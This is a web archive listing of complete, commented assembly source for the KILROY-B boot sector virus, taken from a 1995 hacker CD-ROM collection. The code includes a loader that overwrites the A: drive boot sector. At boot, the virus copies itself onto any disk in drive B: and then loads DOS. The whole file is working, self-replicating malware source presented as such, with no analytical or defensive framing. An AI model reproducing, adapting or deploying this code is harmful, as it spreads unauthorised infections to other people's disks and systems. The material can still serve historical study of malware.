home *** CD-ROM | disk | FTP | other *** search
/ HaCKeRz Kr0nlcKLeZ 1 / HaCKeRz Kr0nlcKLeZ.iso / chibacity / gbbdisk.arj / INTRBOOT / KILROYB.ASM < prev    next >
Encoding:
Assembly Source File  |  1995-05-01  |  11.0 KB  |  213 lines

  1. ;The KILROY-B Virus. This is a floppy-only virus that is self contained in a
  2. ;single sector. At boot time, it boots DOS and copies itself from the A: to
  3. ;the B: drive if a disk is inserted in B:.
  4. ;
  5. ;(C) 1995 American Eagle Publications, Inc. All Rights Reserved!
  6.  
  7.  
  8. ;This segment is where the first operating system file (IO.SYS) will be
  9. ;loaded and executed from. We don't know (or care) what is there, as long as
  10. ;it will execute at 0070:0000H, but we do need the address to jump to defined
  11. ;in a separate segment so we can execute a far jump to it.
  12. DOS_LOAD        SEGMENT AT 0070H
  13.                 ASSUME  CS:DOS_LOAD
  14.  
  15.                 ORG     0
  16.  
  17. LOAD:                                   ;Start of the first operating system program
  18.  
  19. DOS_LOAD        ENDS
  20.  
  21.  
  22. MAIN            SEGMENT BYTE
  23.                 ASSUME  CS:MAIN,DS:MAIN,SS:NOTHING
  24.  
  25.  
  26. ;This is the loader for the boot sector. It writes the boot sector to
  27. ;the A: drive in the right place, after it has set up the basic disk
  28. ;parameters. The loader is what gets executed when this program is executed
  29. ;from DOS as a COM file.
  30.  
  31.                 ORG     100H
  32.  
  33. LOADER:
  34.                 mov     ax,201H         ;load the existing boot sector
  35.                 mov     bx,OFFSET DISK_BUF      ;into this buffer
  36.                 mov     cx,1            ;Drive 0, Track 0, Head 0, Sector 1
  37.                 mov     dx,0
  38.                 int     13H
  39.                 mov     ax,201H         ;try twice to compensate for disk
  40.                 int     13H             ;change errors
  41.  
  42.                 mov     si,OFFSET DISK_BUF + 11
  43.                 mov     di,OFFSET BOOTSEC + 11
  44.                 mov     cx,19
  45.                 rep     movsb           ;move disk data to new boot sector
  46.  
  47.                 mov     ax,301H         ;and write new boot sector to disk
  48.                 mov     bx,OFFSET BOOTSEC
  49.                 mov     cx,1
  50.                 mov     dx,0
  51.                 int     13H
  52.  
  53.                 mov     ax,4C00H        ;now exit to DOS
  54.                 int     21H
  55.  
  56.  
  57. ;This area is reserved for loading the boot sector from the disk which is going
  58. ;to be modified by the loader, as well as the first sector of the root directory,
  59. ;when checking for the existence of system files and loading the first system
  60. ;file. The location is fixed because this area is free at the time of the
  61. ;execution of the boot sector.
  62.  
  63.                 ORG     0500H
  64.  
  65. DISK_BUF:       DB      ?                       ;Start of the buffer
  66.  
  67. ;Here is the start of the boot sector code. This is the chunk we will take out
  68. ;of the compiled COM file and put it in the first sector on a floppy disk.
  69.  
  70.                 ORG     7C00H
  71.  
  72. BOOTSEC:        JMP     SHORT BOOT              ;Jump to start of boot sector code
  73.                 NOP                             ;3 bytes before data
  74.  
  75. DOS_ID:         DB      'Kilroy B'              ;Name of this boot sector (8 bytes)
  76. SEC_SIZE:       DW      200H                    ;Size of a sector, in bytes
  77. SECS_PER_CLUST: DB      2                       ;Number of sectors in a cluster
  78. FAT_START:      DW      1                       ;Starting sector for the first File Allocation Table (FAT)
  79. FAT_COUNT:      DB      2                       ;Number of FATs on this disk
  80. ROOT_ENTRIES:   DW      70H                     ;Number of root directory entries
  81. SEC_COUNT:      DW      2D0H                    ;Total number of sectors on this disk
  82. DISK_ID:        DB      0FDH                    ;Disk type code (This is 360KB)
  83. SECS_PER_FAT:   DW      2                       ;Number of sectors per FAT
  84. SECS_PER_TRK:   DW      9                       ;Sectors per track for this drive
  85. HEADS:          DW      2                       ;Number of heads (sides) on this drive
  86. HIDDEN_SECS:    DW      0                       ;Number of hidden sectors on the disk
  87.  
  88. ;Here is the start of the boot sector executable code
  89. BOOT:           CLI                                     ;interrupts off
  90.                 XOR     AX,AX                           ;prepare to set up segments
  91.                 MOV     ES,AX                           ;set DS=ES=SS=0
  92.                 MOV     DS,AX
  93.                 MOV     SS,AX                           ;start stack at 0000:7C00
  94.                 MOV     SP,OFFSET BOOTSEC
  95.                 STI                                     ;now turn interrupts on
  96.  
  97. ;Before getting the system file, the virus will attempt to copy itself to
  98. ;the B: drive.
  99. INFECT:
  100.                 mov     ax,201H                         ;attempt to read
  101.                 mov     bx,OFFSET DISK_BUF              ;B: boot sector
  102.                 mov     cx,1
  103.                 mov     dx,1
  104.                 int     13H
  105.                 mov     ax,201H                         ;do it twice
  106.                 int     13H                             ;for disk change
  107.                 jc      LOOK_SYS                        ;no disk, just load DOS
  108.                 mov     si,OFFSET BOOTSEC               ;build virus in DISK_BUF
  109.                 mov     di,OFFSET DISK_BUF
  110.                 mov     cx,11
  111.                 cld                                     ;direction flag forward
  112.                 rep     movsb                           ;1st 11 bytes
  113.                 add     si,19                           ;skip the data (i.e.
  114.                 add     di,19                           ;keep original data)
  115.                 mov     cx,OFFSET BOOT_ID - OFFSET BOOT ;bytes of code to move
  116.                 rep     movsb
  117.                 inc     cx                              ;set cx=1
  118.                 mov     ax,301H                         ;and write virus
  119.                 int     13H                             ;to B: drive
  120.  
  121. ;Here we look at the first file on the disk to see if it is the first MS-DOS
  122. ;system file, IO.SYS.
  123. LOOK_SYS:
  124.                 MOV     AL,BYTE PTR [FAT_COUNT]         ;get fats per disk
  125.                 XOR     AH,AH
  126.                 MUL     WORD PTR [SECS_PER_FAT]         ;multiply by sectors per fat
  127.                 ADD     AX,WORD PTR [HIDDEN_SECS]       ;add hidden sectors
  128.                 ADD     AX,WORD PTR [FAT_START]         ;add starting fat sector
  129.  
  130.                 PUSH    AX                              ;start of root dir in ax
  131.                 MOV     BP,AX                           ;save it here
  132.  
  133.                 MOV     AX,20H                          ;dir entry size
  134.                 MUL     WORD PTR [ROOT_ENTRIES]         ;dir size in ax
  135.                 MOV     BX,WORD PTR [SEC_SIZE]          ;sector size
  136.                 ADD     AX,BX                           ;add one sector
  137.                 DEC     AX                              ;decrement by 1
  138.                 DIV     BX                              ;ax=# sectors in root dir
  139.                 ADD     BP,AX                           ;now bp is start of data
  140.                 MOV     BX,OFFSET DISK_BUF              ;set up disk read buffer at 0000:0500
  141.                 POP     AX                              ;ax=start of root dir
  142.                 CALL    CONVERT                         ;and go convert sequential sector number to bios data
  143.                 INT     13H                             ;read 1st root sector
  144.                 JC      $
  145.  
  146.                 MOV     DI,BX                           ;compare first file on disk with
  147.                 MOV     CX,11                           ;required file name
  148.                 MOV     SI,OFFSET SYSFILE_1             ;of first system file for PC DOS
  149.                 REPZ    CMPSB
  150.                 JZ      LOAD_SYSTEM                     ;the same, go load
  151.  
  152.                 MOV     DI,BX                           ;compare first file on disk with
  153.                 MOV     CX,11                           ;required file name
  154.                 MOV     SI,OFFSET SYSFILE_2             ;of first system file for PC DOS
  155.                 REPZ    CMPSB
  156.                 JNZ     $                               ;not the same - hang machine
  157.  
  158. ;Ok, system file is there, so load it
  159. LOAD_SYSTEM:
  160.                 MOV     AX,WORD PTR [DISK_BUF+1CH]      ;get file size of IO.SYS
  161.                 XOR     DX,DX
  162.                 DIV     WORD PTR [SEC_SIZE]             ;and divide by sector size
  163.                 INC     AX                              ;ax=number of sectors to read
  164.                 CMP     AX,39H                          ;don't load too much!!
  165.                 JLE     LOAD1                           ;not more than 7C00H-700H
  166.                 MOV     AX,39H                          ;plus some room for stack!
  167. LOAD1:          MOV     DI,AX                           ;store that number in BP
  168.                 PUSH    BP                              ;save data start for IO.SYS
  169.                 MOV     BX,700H                         ;set disk read buffer to 0000:0700
  170. RD_IOSYS:       MOV     AX,BP                           ;and get sector to read
  171.                 CALL    CONVERT                         ;convert to bios Trk/Cyl/Sec info
  172.                 INT     13H                             ;and read a sector
  173.                 JC      $                               ;halt on error
  174.                 INC     BP                              ;increment sector to read
  175.                 ADD     BX,WORD PTR [SEC_SIZE]          ;and update buffer address
  176.                 DEC     DI                              ;decrement number of sectors to read
  177.                 JNZ     RD_IOSYS                        ;and go for another if needed
  178.  
  179. ;Ok, IO.SYS has been read in, now transfer control to it
  180. DO_BOOT:
  181.                 MOV     CH,BYTE PTR [DISK_ID]           ;Put drive type in ch
  182.                 MOV     DL,0                            ;Drive number in dl
  183.                 POP     BX                              ;Start of data in bx
  184.                 JMP     FAR PTR LOAD                    ;far jump to IO.SYS
  185.  
  186. ;Convert sequential sector number in ax to BIOS Track, Head, Sector information.
  187. ;Save track number in CH, head in DH, sector number in CH, set AX to 201H. Since
  188. ;this is for floppies only, we don't have to worry about track numbers greater
  189. ;than 255.
  190. CONVERT:
  191.                 XOR     DX,DX
  192.                 DIV     WORD PTR [SECS_PER_TRK]         ;divide ax by sectors per track
  193.                 INC     DL                              ;dl=sector number to start read on, al=track/head count
  194.                 MOV     CL,DL                           ;save sector here
  195.                 XOR     DX,DX
  196.                 DIV     WORD PTR [HEADS]                ;divide ax by head count
  197.                 MOV     DH,DL                           ;head to dh
  198.                 XOR     DL,DL                           ;drive in dl (0)
  199.                 MOV     CH,AL                           ;track to ch
  200.                 MOV     AX,201H                         ;ax="read 1 sector"
  201.                 RET
  202.  
  203. SYSFILE_1       DB      'IO      SYS'                   ;MS DOS System file
  204. SYSFILE_2       DB      'IBMBIO  COM'                   ;PC DOS System file
  205.  
  206.                 ORG     7DFEH
  207.  
  208. BOOT_ID         DW      0AA55H                          ;Boot sector ID word
  209.  
  210. MAIN            ENDS
  211.  
  212.                 END     LOADER
  213.